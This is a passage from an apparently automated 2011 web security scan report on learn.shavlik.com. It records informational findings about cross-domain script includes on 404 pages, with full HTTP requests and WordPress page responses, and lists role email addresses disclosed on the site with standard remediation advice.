                       <a href="/services" ><span class="topNavText">Services</span></a>
                       
                   </li>
                   <li class="third middle">
                       <a href="/customers" ><span class="topNavText">Customers</span></a>
                   </li>
                   <li class="fourth middle">
                       <a href="/about-oppsource" ><span class="topNavText">About Us</span></a>
                       <ul>
                           <li>
                               <a href="/about-oppsource">About Oppsource</a>
                           </li>
                           <li>
                               <a href="/leadership">Leadership</a>
                           </li>
                           
                       </ul>
                   </li>
                   <li class="navLastTopLevel fifth">
                       <a href="/blog"><span class="topNavText">OppSource Blog</span></a>
                   </li>
               </ul>
       </div>
       <br style="clear:both;">


   <div id="container">
       <div id="content" role="main">

           <div id="post-0" class="post error404 not-found">
               <h1 class="entry-title">Not Found</h1>
               <div class="entry-content">
                   <p>Apologies, but the page you requested could not be found. Perhaps searching will help.</p>
                   <form role="search" method="get" id="searchform" action="http://www.oppsource.com/" >
   <div><label class="screen-reader-text" for="s">Search for:</label>
   <input type="text" value="" name="s" id="s" />
   <input type="submit" id="searchsubmit" value="Search" />
   </div>
   </form>                </div>
           </div>

       </div>
   </div>
   <script type="text/javascript">
       // focus on search field after it has loaded
       document.getElementById('s') && document.getElementById('s').focus();
   </script>


           <br style="clear:both;">
           <div id="footer">
           <div id="socialMedia">
               <p>FOLLOW<BR>US ON:</p>
               <a href="http://www.facebook.com/oppsource"><img src="http://www.oppsource.com/wp-content/themes/oppsource3/images/facebook.jpg"></a>
               <a href="http://twitter.com/OppSource"><img src="http://www.oppsource.com/wp-content/themes/oppsource3/images/twitter.jpg"></a>
               <a href="http://www.linkedin.com/company/oppsource.com"><img src="http://www.oppsource.com/wp-content/themes/oppsource3/images/linkedIn.jpg"></a>
               <p class="singleLine">SUBSCRIBE:</p>
               <a href="/index.php?feed=rss"><img src="http://www.oppsource.com/wp-content/themes/oppsource3/images/rss.jpg"></a>
               <p class="singleLine">OppSource Blog</p>
           </div>
           <div style=" float:right; margin-top:8px;">
               <div style=" font-weight:bold;">
                   
                   <a href="/services" style="color:#8C8D7F; text-decoration:none; font-weight:bold;">Services</a> |
                   <a href="/customers" style="color:#8C8D7F; text-decoration:none; font-weight:bold;">Customers</a> |
                   <a href="/about-oppsource" style="color:#8C8D7F; text-decoration:none; font-weight:bold;">About Us</a>
               </div>
           </div>

           <br style="clear:both;"><br><br>


       </div>
       <br style="clear:both;">


   <span>© Copyright 2011. OppSource Inc. All rights reserved</span>
   </div>

   <br style="clear:both;">
</div>
   <div id="bottomRounded" style="width:966px; height:36px; background:url('http://www.oppsource.com/wp-content/themes/oppsource3/images/footer.png') no-repeat;" >

</div>
</div>

</body>
</html>

7.18. http://learn.shavlik.com/shavlik/mail-list-remediator.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://learn.shavlik.com
Path:	/shavlik/mail-list-remediator.aspx

Issue detail

The response dynamically includes the following scripts from other domains:

http://www.oppsource.com/wp-content/plugins/google-analyticator/external-tracking.min.js?ver=6.1.1
http://www.oppsource.com/wp-content/themes/oppsource3/script/hoverIntent.js
http://www.oppsource.com/wp-content/themes/oppsource3/script/jquery.js
http://www.oppsource.com/wp-content/themes/oppsource3/script/superfish.js
http://www.oppsource.com/wp-includes/js/jquery/jquery.js?ver=1.4.2

Request

GET /shavlik/mail-list-remediator.aspx HTTP/1.1
Host: learn.shavlik.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: CFTOKEN=95679479; __utmz=202100691.1300711269.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=610666; __utma=202100691.944756920.1300711269.1300711269.1300711269.1; __utmc=202100691; __utmb=202100691.4.10.1300711269;

Response

HTTP/1.1 404 Not Found
Connection: close
Date: Mon, 21 Mar 2011 15:41:17 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: PHP/5.2.9-2
X-Pingback: http://www.oppsource.com/xmlrpc.php
Content-Type: text/html; charset=UTF-8
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Last-Modified: Mon, 21 Mar 2011 15:41:17 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache

   <script language = "javascript">
       window.location = 'http://learn.shavlik.com/shavlik/';
   </script>
   <script language = "javascript">
       window.location = 'http://learn.shavlik.com/shavlik/';
   </script>

<!DOCTYPE html>
<html dir="ltr" lang="en-US">
<head>
<meta charset="UTF-8" />
<title>Nothing found for Shavlik Mail-list-remediator Aspx</title>
<link rel="profile" href="http://gmpg.org/xfn/11" />
<link rel="stylesheet" type="text/css" media="all" href="http://www.oppsource.com/wp-content/themes/oppsource3/style.css" />
<link rel="pingback" href="http://www.oppsource.com/xmlrpc.php" />
<link rel="alternate" type="application/rss+xml" title="Oppsource.com » Feed" href="http://www.oppsource.com/feed/" />
<link rel="alternate" type="application/rss+xml" title="Oppsource.com » Comments Feed" href="http://www.oppsource.com/comments/feed/" />
<link rel='stylesheet' id='A2A_SHARE_SAVE-css' href='http://www.oppsource.com/wp-content/plugins/add-to-any/addtoany.min.css?ver=1.3' type='text/css' media='all' />
<script type='text/javascript' src='http://www.oppsource.com/wp-includes/js/jquery/jquery.js?ver=1.4.2'></script>
<script type='text/javascript' src='http://www.oppsource.com/wp-content/plugins/google-analyticator/external-tracking.min.js?ver=6.1.1'></script>
<link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://www.oppsource.com/xmlrpc.php?rsd" />
<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://www.oppsource.com/wp-includes/wlwmanifest.xml" />
<link rel='index' title='Oppsource.com' href='http://www.oppsource.com/' />
<meta name="generator" content="WordPress 3.0.1" />




<style type="text/css">
.avatar {vertical-align:middle}
.credit {font-size: 50%;}
</style>
       
<script type="text/javascript">
   var analyticsFileTypes = [''];
   var analyticsEventTracking = 'enabled';
</script>
<script type="text/javascript">
   var _gaq = _gaq || [];
   _gaq.push(['_setAccount', 'UA-12696934-3']);
   _gaq.push(['_trackPageview']);

   (function() {
       var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
       ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
       var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
   })();
</script>

<link rel="stylesheet" type="text/css" href="http://www.oppsource.com/wp-content/themes/oppsource3/style/style.css" />

<link rel="stylesheet" type="text/css" href="http://www.oppsource.com/wp-content/themes/oppsource3/style/superfish.css" media="screen">
<script type="text/javascript" src="http://www.oppsource.com/wp-content/themes/oppsource3/script/jquery.js"></script>
<script type="text/javascript" src="http://www.oppsource.com/wp-content/themes/oppsource3/script/hoverIntent.js"></script>
<script type="text/javascript" src="http://www.oppsource.com/wp-content/themes/oppsource3/script/superfish.js"></script>

<script type="text/javascript">

// initialise plugins
jQuery(function(){
   jQuery('ul.sf-menu').superfish();
});

$(window).unload(function(){
   $('ul.sf-menu li.current').hideSuperfishUl();
});

</script>

<link href="/wp-content/themes/oppsource3/style/header.css" type="text/css" rel="stylesheet" />
<style>
   body {
       background:url(http://www.oppsource.com/wp-content/themes/oppsource3/images/bg_top.jpg) repeat-x #bdbcaf ;
   }
   #header{
       background:url('http://www.oppsource.com/wp-content/themes/oppsource3/images/header_bg.png') no-repeat;
   }
   #main_wrapper{
       background:url('http://www.oppsource.com/wp-content/themes/oppsource3/images/side_Gradient.png') repeat-y;
   }
</style>
</head>

<body >
<div id="wrapper">
   <div id="header">
   <a href="/"><img id="logo" src="http://www.oppsource.com/wp-content/themes/oppsource3/images/logo2.jpg" height="54" width="226"></a>
   <div id="right_Nav">
    <a href="/careers">CAREERS</a> |
       <a href="/contact-us">CONTACT US</a> |
       <a href="/customer-login">CUSTOMER LOGIN</a>
   </div>
</div>
<br style="clear:both;">
<div id="main_wrapper" >
   <div id="main">
       <div id="nav" >
           <ul class="sf-menu">
                   <li class="current navFirstTopLevel first">
                       <a href="/lead-management" class="firstMain"><span class="topNavText">Lead Management</span></a>
                       <ul>
                           <li>
                               <a href="/content-marketing">Content Marketing</a>
                           </li>
                           <li>
                               <a href="/lead-capture">Lead Capture</a>
                           </li>
                           <li>
                               <a href="/lead-nurturing">Lead Nurturing</a>
                           </li>
                           <li>
                               <a href="/lead-scoring">Lead Scoring</a>
                           </li>
                           <li>
                               <a href="/opportunity-handoff">Opportunity Handoff</a>
                           </li>
                           <li>
                               <a href="/lead-funnel-measurement">Lead Funnel Measurement</a>
                           </li>
                       </ul>
                   </li>
                   <li class="second middle">
                       <a href="/services" ><span class="topNavText">Services</span></a>
                       
                   </li>
                   <li class="third middle">
                       <a href="/customers" ><span class="topNavText">Customers</span></a>
                   </li>
                   <li class="fourth middle">
                       <a href="/about-oppsource" ><span class="topNavText">About Us</span></a>
                       <ul>
                           <li>
                               <a href="/about-oppsource">About Oppsource</a>
                           </li>
                           <li>
                               <a href="/leadership">Leadership</a>
                           </li>
                           
                       </ul>
                   </li>
                   <li class="navLastTopLevel fifth">
                       <a href="/blog"><span class="topNavText">OppSource Blog</span></a>
                   </li>
               </ul>
       </div>
       <br style="clear:both;">


   <div id="container">
       <div id="content" role="main">

           <div id="post-0" class="post error404 not-found">
               <h1 class="entry-title">Not Found</h1>
               <div class="entry-content">
                   <p>Apologies, but the page you requested could not be found. Perhaps searching will help.</p>
                   <form role="search" method="get" id="searchform" action="http://www.oppsource.com/" >
   <div><label class="screen-reader-text" for="s">Search for:</label>
   <input type="text" value="" name="s" id="s" />
   <input type="submit" id="searchsubmit" value="Search" />
   </div>
   </form>                </div>
           </div>

       </div>
   </div>
   <script type="text/javascript">
       // focus on search field after it has loaded
       document.getElementById('s') && document.getElementById('s').focus();
   </script>


           <br style="clear:both;">
           <div id="footer">
           <div id="socialMedia">
               <p>FOLLOW<BR>US ON:</p>
               <a href="http://www.facebook.com/oppsource"><img src="http://www.oppsource.com/wp-content/themes/oppsource3/images/facebook.jpg"></a>
               <a href="http://twitter.com/OppSource"><img src="http://www.oppsource.com/wp-content/themes/oppsource3/images/twitter.jpg"></a>
               <a href="http://www.linkedin.com/company/oppsource.com"><img src="http://www.oppsource.com/wp-content/themes/oppsource3/images/linkedIn.jpg"></a>
               <p class="singleLine">SUBSCRIBE:</p>
               <a href="/index.php?feed=rss"><img src="http://www.oppsource.com/wp-content/themes/oppsource3/images/rss.jpg"></a>
               <p class="singleLine">OppSource Blog</p>
           </div>
           <div style=" float:right; margin-top:8px;">
               <div style=" font-weight:bold;">
                   
                   <a href="/services" style="color:#8C8D7F; text-decoration:none; font-weight:bold;">Services</a> |
                   <a href="/customers" style="color:#8C8D7F; text-decoration:none; font-weight:bold;">Customers</a> |
                   <a href="/about-oppsource" style="color:#8C8D7F; text-decoration:none; font-weight:bold;">About Us</a>
               </div>
           </div>

           <br style="clear:both;"><br><br>


       </div>
       <br style="clear:both;">


   <span>© Copyright 2011. OppSource Inc. All rights reserved</span>
   </div>

   <br style="clear:both;">
</div>
   <div id="bottomRounded" style="width:966px; height:36px; background:url('http://www.oppsource.com/wp-content/themes/oppsource3/images/footer.png') no-repeat;" >

</div>
</div>

</body>
</html>

7.19. http://learn.shavlik.com/shavlik/mail-list-shavlik-announce.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://learn.shavlik.com
Path:	/shavlik/mail-list-shavlik-announce.aspx

Issue detail

The response dynamically includes the following scripts from other domains:

http://www.oppsource.com/wp-content/plugins/google-analyticator/external-tracking.min.js?ver=6.1.1
http://www.oppsource.com/wp-content/themes/oppsource3/script/hoverIntent.js
http://www.oppsource.com/wp-content/themes/oppsource3/script/jquery.js
http://www.oppsource.com/wp-content/themes/oppsource3/script/superfish.js
http://www.oppsource.com/wp-includes/js/jquery/jquery.js?ver=1.4.2

Request

GET /shavlik/mail-list-shavlik-announce.aspx HTTP/1.1
Host: learn.shavlik.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: CFTOKEN=95679479; __utmz=202100691.1300711269.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=610666; __utma=202100691.944756920.1300711269.1300711269.1300711269.1; __utmc=202100691; __utmb=202100691.4.10.1300711269;

Response

HTTP/1.1 404 Not Found
Connection: close
Date: Mon, 21 Mar 2011 15:41:16 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: PHP/5.2.9-2
X-Pingback: http://www.oppsource.com/xmlrpc.php
Content-Type: text/html; charset=UTF-8
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Last-Modified: Mon, 21 Mar 2011 15:41:16 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache

   <script language = "javascript">
       window.location = 'http://learn.shavlik.com/shavlik/';
   </script>
   <script language = "javascript">
       window.location = 'http://learn.shavlik.com/shavlik/';
   </script>

<!DOCTYPE html>
<html dir="ltr" lang="en-US">
<head>
<meta charset="UTF-8" />
<title>Nothing found for Shavlik Mail-list-shavlik-announce Aspx</title>
<link rel="profile" href="http://gmpg.org/xfn/11" />
<link rel="stylesheet" type="text/css" media="all" href="http://www.oppsource.com/wp-content/themes/oppsource3/style.css" />
<link rel="pingback" href="http://www.oppsource.com/xmlrpc.php" />
<link rel="alternate" type="application/rss+xml" title="Oppsource.com » Feed" href="http://www.oppsource.com/feed/" />
<link rel="alternate" type="application/rss+xml" title="Oppsource.com » Comments Feed" href="http://www.oppsource.com/comments/feed/" />
<link rel='stylesheet' id='A2A_SHARE_SAVE-css' href='http://www.oppsource.com/wp-content/plugins/add-to-any/addtoany.min.css?ver=1.3' type='text/css' media='all' />
<script type='text/javascript' src='http://www.oppsource.com/wp-includes/js/jquery/jquery.js?ver=1.4.2'></script>
<script type='text/javascript' src='http://www.oppsource.com/wp-content/plugins/google-analyticator/external-tracking.min.js?ver=6.1.1'></script>
<link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://www.oppsource.com/xmlrpc.php?rsd" />
<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://www.oppsource.com/wp-includes/wlwmanifest.xml" />
<link rel='index' title='Oppsource.com' href='http://www.oppsource.com/' />
<meta name="generator" content="WordPress 3.0.1" />




<style type="text/css">
.avatar {vertical-align:middle}
.credit {font-size: 50%;}
</style>
       
<script type="text/javascript">
   var analyticsFileTypes = [''];
   var analyticsEventTracking = 'enabled';
</script>
<script type="text/javascript">
   var _gaq = _gaq || [];
   _gaq.push(['_setAccount', 'UA-12696934-3']);
   _gaq.push(['_trackPageview']);

   (function() {
       var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
       ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
       var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
   })();
</script>

<link rel="stylesheet" type="text/css" href="http://www.oppsource.com/wp-content/themes/oppsource3/style/style.css" />

<link rel="stylesheet" type="text/css" href="http://www.oppsource.com/wp-content/themes/oppsource3/style/superfish.css" media="screen">
<script type="text/javascript" src="http://www.oppsource.com/wp-content/themes/oppsource3/script/jquery.js"></script>
<script type="text/javascript" src="http://www.oppsource.com/wp-content/themes/oppsource3/script/hoverIntent.js"></script>
<script type="text/javascript" src="http://www.oppsource.com/wp-content/themes/oppsource3/script/superfish.js"></script>

<script type="text/javascript">

// initialise plugins
jQuery(function(){
   jQuery('ul.sf-menu').superfish();
});

$(window).unload(function(){
   $('ul.sf-menu li.current').hideSuperfishUl();
});

</script>

<link href="/wp-content/themes/oppsource3/style/header.css" type="text/css" rel="stylesheet" />
<style>
   body {
       background:url(http://www.oppsource.com/wp-content/themes/oppsource3/images/bg_top.jpg) repeat-x #bdbcaf ;
   }
   #header{
       background:url('http://www.oppsource.com/wp-content/themes/oppsource3/images/header_bg.png') no-repeat;
   }
   #main_wrapper{
       background:url('http://www.oppsource.com/wp-content/themes/oppsource3/images/side_Gradient.png') repeat-y;
   }
</style>
</head>

<body >
<div id="wrapper">
   <div id="header">
   <a href="/"><img id="logo" src="http://www.oppsource.com/wp-content/themes/oppsource3/images/logo2.jpg" height="54" width="226"></a>
   <div id="right_Nav">
    <a href="/careers">CAREERS</a> |
       <a href="/contact-us">CONTACT US</a> |
       <a href="/customer-login">CUSTOMER LOGIN</a>
   </div>
</div>
<br style="clear:both;">
<div id="main_wrapper" >
   <div id="main">
       <div id="nav" >
           <ul class="sf-menu">
                   <li class="current navFirstTopLevel first">
                       <a href="/lead-management" class="firstMain"><span class="topNavText">Lead Management</span></a>
                       <ul>
                           <li>
                               <a href="/content-marketing">Content Marketing</a>
                           </li>
                           <li>
                               <a href="/lead-capture">Lead Capture</a>
                           </li>
                           <li>
                               <a href="/lead-nurturing">Lead Nurturing</a>
                           </li>
                           <li>
                               <a href="/lead-scoring">Lead Scoring</a>
                           </li>
                           <li>
                               <a href="/opportunity-handoff">Opportunity Handoff</a>
                           </li>
                           <li>
                               <a href="/lead-funnel-measurement">Lead Funnel Measurement</a>
                           </li>
                       </ul>
                   </li>
                   <li class="second middle">
                       <a href="/services" ><span class="topNavText">Services</span></a>
                       
                   </li>
                   <li class="third middle">
                       <a href="/customers" ><span class="topNavText">Customers</span></a>
                   </li>
                   <li class="fourth middle">
                       <a href="/about-oppsource" ><span class="topNavText">About Us</span></a>
                       <ul>
                           <li>
                               <a href="/about-oppsource">About Oppsource</a>
                           </li>
                           <li>
                               <a href="/leadership">Leadership</a>
                           </li>
                           
                       </ul>
                   </li>
                   <li class="navLastTopLevel fifth">
                       <a href="/blog"><span class="topNavText">OppSource Blog</span></a>
                   </li>
               </ul>
       </div>
       <br style="clear:both;">


   <div id="container">
       <div id="content" role="main">

           <div id="post-0" class="post error404 not-found">
               <h1 class="entry-title">Not Found</h1>
               <div class="entry-content">
                   <p>Apologies, but the page you requested could not be found. Perhaps searching will help.</p>
                   <form role="search" method="get" id="searchform" action="http://www.oppsource.com/" >
   <div><label class="screen-reader-text" for="s">Search for:</label>
   <input type="text" value="" name="s" id="s" />
   <input type="submit" id="searchsubmit" value="Search" />
   </div>
   </form>                </div>
           </div>

       </div>
   </div>
   <script type="text/javascript">
       // focus on search field after it has loaded
       document.getElementById('s') && document.getElementById('s').focus();
   </script>


           <br style="clear:both;">
           <div id="footer">
           <div id="socialMedia">
               <p>FOLLOW<BR>US ON:</p>
               <a href="http://www.facebook.com/oppsource"><img src="http://www.oppsource.com/wp-content/themes/oppsource3/images/facebook.jpg"></a>
               <a href="http://twitter.com/OppSource"><img src="http://www.oppsource.com/wp-content/themes/oppsource3/images/twitter.jpg"></a>
               <a href="http://www.linkedin.com/company/oppsource.com"><img src="http://www.oppsource.com/wp-content/themes/oppsource3/images/linkedIn.jpg"></a>
               <p class="singleLine">SUBSCRIBE:</p>
               <a href="/index.php?feed=rss"><img src="http://www.oppsource.com/wp-content/themes/oppsource3/images/rss.jpg"></a>
               <p class="singleLine">OppSource Blog</p>
           </div>
           <div style=" float:right; margin-top:8px;">
               <div style=" font-weight:bold;">
                   
                   <a href="/services" style="color:#8C8D7F; text-decoration:none; font-weight:bold;">Services</a> |
                   <a href="/customers" style="color:#8C8D7F; text-decoration:none; font-weight:bold;">Customers</a> |
                   <a href="/about-oppsource" style="color:#8C8D7F; text-decoration:none; font-weight:bold;">About Us</a>
               </div>
           </div>

           <br style="clear:both;"><br><br>


       </div>
       <br style="clear:both;">


   <span>© Copyright 2011. OppSource Inc. All rights reserved</span>
   </div>

   <br style="clear:both;">
</div>
   <div id="bottomRounded" style="width:966px; height:36px; background:url('http://www.oppsource.com/wp-content/themes/oppsource3/images/footer.png') no-repeat;" >

</div>
</div>

</body>
</html>

7.20. http://learn.shavlik.com/shavlik/mail-list-shavlik-xml.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://learn.shavlik.com
Path:	/shavlik/mail-list-shavlik-xml.aspx

Issue detail

The response dynamically includes the following scripts from other domains:

http://www.oppsource.com/wp-content/plugins/google-analyticator/external-tracking.min.js?ver=6.1.1
http://www.oppsource.com/wp-content/themes/oppsource3/script/hoverIntent.js
http://www.oppsource.com/wp-content/themes/oppsource3/script/jquery.js
http://www.oppsource.com/wp-content/themes/oppsource3/script/superfish.js
http://www.oppsource.com/wp-includes/js/jquery/jquery.js?ver=1.4.2

Request

GET /shavlik/mail-list-shavlik-xml.aspx HTTP/1.1
Host: learn.shavlik.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: CFTOKEN=95679479; __utmz=202100691.1300711269.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=610666; __utma=202100691.944756920.1300711269.1300711269.1300711269.1; __utmc=202100691; __utmb=202100691.4.10.1300711269;

Response

HTTP/1.1 404 Not Found
Connection: close
Date: Mon, 21 Mar 2011 15:41:16 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: PHP/5.2.9-2
X-Pingback: http://www.oppsource.com/xmlrpc.php
Content-Type: text/html; charset=UTF-8
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Last-Modified: Mon, 21 Mar 2011 15:41:16 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache

   <script language = "javascript">
       window.location = 'http://learn.shavlik.com/shavlik/';
   </script>
   <script language = "javascript">
       window.location = 'http://learn.shavlik.com/shavlik/';
   </script>

<!DOCTYPE html>
<html dir="ltr" lang="en-US">
<head>
<meta charset="UTF-8" />
<title>Nothing found for Shavlik Mail-list-shavlik-xml Aspx</title>
<link rel="profile" href="http://gmpg.org/xfn/11" />
<link rel="stylesheet" type="text/css" media="all" href="http://www.oppsource.com/wp-content/themes/oppsource3/style.css" />
<link rel="pingback" href="http://www.oppsource.com/xmlrpc.php" />
<link rel="alternate" type="application/rss+xml" title="Oppsource.com » Feed" href="http://www.oppsource.com/feed/" />
<link rel="alternate" type="application/rss+xml" title="Oppsource.com » Comments Feed" href="http://www.oppsource.com/comments/feed/" />
<link rel='stylesheet' id='A2A_SHARE_SAVE-css' href='http://www.oppsource.com/wp-content/plugins/add-to-any/addtoany.min.css?ver=1.3' type='text/css' media='all' />
<script type='text/javascript' src='http://www.oppsource.com/wp-includes/js/jquery/jquery.js?ver=1.4.2'></script>
<script type='text/javascript' src='http://www.oppsource.com/wp-content/plugins/google-analyticator/external-tracking.min.js?ver=6.1.1'></script>
<link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://www.oppsource.com/xmlrpc.php?rsd" />
<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://www.oppsource.com/wp-includes/wlwmanifest.xml" />
<link rel='index' title='Oppsource.com' href='http://www.oppsource.com/' />
<meta name="generator" content="WordPress 3.0.1" />




<style type="text/css">
.avatar {vertical-align:middle}
.credit {font-size: 50%;}
</style>
       
<script type="text/javascript">
   var analyticsFileTypes = [''];
   var analyticsEventTracking = 'enabled';
</script>
<script type="text/javascript">
   var _gaq = _gaq || [];
   _gaq.push(['_setAccount', 'UA-12696934-3']);
   _gaq.push(['_trackPageview']);

   (function() {
       var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
       ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
       var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
   })();
</script>

<link rel="stylesheet" type="text/css" href="http://www.oppsource.com/wp-content/themes/oppsource3/style/style.css" />

<link rel="stylesheet" type="text/css" href="http://www.oppsource.com/wp-content/themes/oppsource3/style/superfish.css" media="screen">
<script type="text/javascript" src="http://www.oppsource.com/wp-content/themes/oppsource3/script/jquery.js"></script>
<script type="text/javascript" src="http://www.oppsource.com/wp-content/themes/oppsource3/script/hoverIntent.js"></script>
<script type="text/javascript" src="http://www.oppsource.com/wp-content/themes/oppsource3/script/superfish.js"></script>

<script type="text/javascript">

// initialise plugins
jQuery(function(){
   jQuery('ul.sf-menu').superfish();
});

$(window).unload(function(){
   $('ul.sf-menu li.current').hideSuperfishUl();
});

</script>

<link href="/wp-content/themes/oppsource3/style/header.css" type="text/css" rel="stylesheet" />
<style>
   body {
       background:url(http://www.oppsource.com/wp-content/themes/oppsource3/images/bg_top.jpg) repeat-x #bdbcaf ;
   }
   #header{
       background:url('http://www.oppsource.com/wp-content/themes/oppsource3/images/header_bg.png') no-repeat;
   }
   #main_wrapper{
       background:url('http://www.oppsource.com/wp-content/themes/oppsource3/images/side_Gradient.png') repeat-y;
   }
</style>
</head>

<body >
<div id="wrapper">
   <div id="header">
   <a href="/"><img id="logo" src="http://www.oppsource.com/wp-content/themes/oppsource3/images/logo2.jpg" height="54" width="226"></a>
   <div id="right_Nav">
    <a href="/careers">CAREERS</a> |
       <a href="/contact-us">CONTACT US</a> |
       <a href="/customer-login">CUSTOMER LOGIN</a>
   </div>
</div>
<br style="clear:both;">
<div id="main_wrapper" >
   <div id="main">
       <div id="nav" >
           <ul class="sf-menu">
                   <li class="current navFirstTopLevel first">
                       <a href="/lead-management" class="firstMain"><span class="topNavText">Lead Management</span></a>
                       <ul>
                           <li>
                               <a href="/content-marketing">Content Marketing</a>
                           </li>
                           <li>
                               <a href="/lead-capture">Lead Capture</a>
                           </li>
                           <li>
                               <a href="/lead-nurturing">Lead Nurturing</a>
                           </li>
                           <li>
                               <a href="/lead-scoring">Lead Scoring</a>
                           </li>
                           <li>
                               <a href="/opportunity-handoff">Opportunity Handoff</a>
                           </li>
                           <li>
                               <a href="/lead-funnel-measurement">Lead Funnel Measurement</a>
                           </li>
                       </ul>
                   </li>
                   <li class="second middle">
                       <a href="/services" ><span class="topNavText">Services</span></a>
                       
                   </li>
                   <li class="third middle">
                       <a href="/customers" ><span class="topNavText">Customers</span></a>
                   </li>
                   <li class="fourth middle">
                       <a href="/about-oppsource" ><span class="topNavText">About Us</span></a>
                       <ul>
                           <li>
                               <a href="/about-oppsource">About Oppsource</a>
                           </li>
                           <li>
                               <a href="/leadership">Leadership</a>
                           </li>
                           
                       </ul>
                   </li>
                   <li class="navLastTopLevel fifth">
                       <a href="/blog"><span class="topNavText">OppSource Blog</span></a>
                   </li>
               </ul>
       </div>
       <br style="clear:both;">


   <div id="container">
       <div id="content" role="main">

           <div id="post-0" class="post error404 not-found">
               <h1 class="entry-title">Not Found</h1>
               <div class="entry-content">
                   <p>Apologies, but the page you requested could not be found. Perhaps searching will help.</p>
                   <form role="search" method="get" id="searchform" action="http://www.oppsource.com/" >
   <div><label class="screen-reader-text" for="s">Search for:</label>
   <input type="text" value="" name="s" id="s" />
   <input type="submit" id="searchsubmit" value="Search" />
   </div>
   </form>                </div>
           </div>

       </div>
   </div>
   <script type="text/javascript">
       // focus on search field after it has loaded
       document.getElementById('s') && document.getElementById('s').focus();
   </script>


           <br style="clear:both;">
           <div id="footer">
           <div id="socialMedia">
               <p>FOLLOW<BR>US ON:</p>
               <a href="http://www.facebook.com/oppsource"><img src="http://www.oppsource.com/wp-content/themes/oppsource3/images/facebook.jpg"></a>
               <a href="http://twitter.com/OppSource"><img src="http://www.oppsource.com/wp-content/themes/oppsource3/images/twitter.jpg"></a>
               <a href="http://www.linkedin.com/company/oppsource.com"><img src="http://www.oppsource.com/wp-content/themes/oppsource3/images/linkedIn.jpg"></a>
               <p class="singleLine">SUBSCRIBE:</p>
               <a href="/index.php?feed=rss"><img src="http://www.oppsource.com/wp-content/themes/oppsource3/images/rss.jpg"></a>
               <p class="singleLine">OppSource Blog</p>
           </div>
           <div style=" float:right; margin-top:8px;">
               <div style=" font-weight:bold;">
                   
                   <a href="/services" style="color:#8C8D7F; text-decoration:none; font-weight:bold;">Services</a> |
                   <a href="/customers" style="color:#8C8D7F; text-decoration:none; font-weight:bold;">Customers</a> |
                   <a href="/about-oppsource" style="color:#8C8D7F; text-decoration:none; font-weight:bold;">About Us</a>
               </div>
           </div>

           <br style="clear:both;"><br><br>


       </div>
       <br style="clear:both;">


   <span>© Copyright 2011. OppSource Inc. All rights reserved</span>
   </div>

   <br style="clear:both;">
</div>
   <div id="bottomRounded" style="width:966px; height:36px; background:url('http://www.oppsource.com/wp-content/themes/oppsource3/images/footer.png') no-repeat;" >

</div>
</div>

</body>
</html>

8. Email addresses disclosed previous next
There are 5 instances of this issue:

/careers
/contact-us
/shavlik/
/shavlik/download.cfm
/shavlik/index.cfm

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

8.1. http://learn.shavlik.com/careers previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://learn.shavlik.com
Path:	/careers

Issue detail

The following email address was disclosed in the response:

careers@oppsource.com

Request

Response

8.2. http://learn.shavlik.com/contact-us previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://learn.shavlik.com
Path:	/contact-us

Issue detail

The following email address was disclosed in the response:

info@oppsource.com

Request

Response

8.3. http://learn.shavlik.com/shavlik/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://learn.shavlik.com
Path:	/shavlik/

Issue detail

The following email address was disclosed in the response:

sales@shavlik.com

Request

Response

HTTP/1.1 200 OK
Connection: close
Date: Mon, 21 Mar 2011 12:57:49 GMT
Server: Microsoft-IIS/6.0
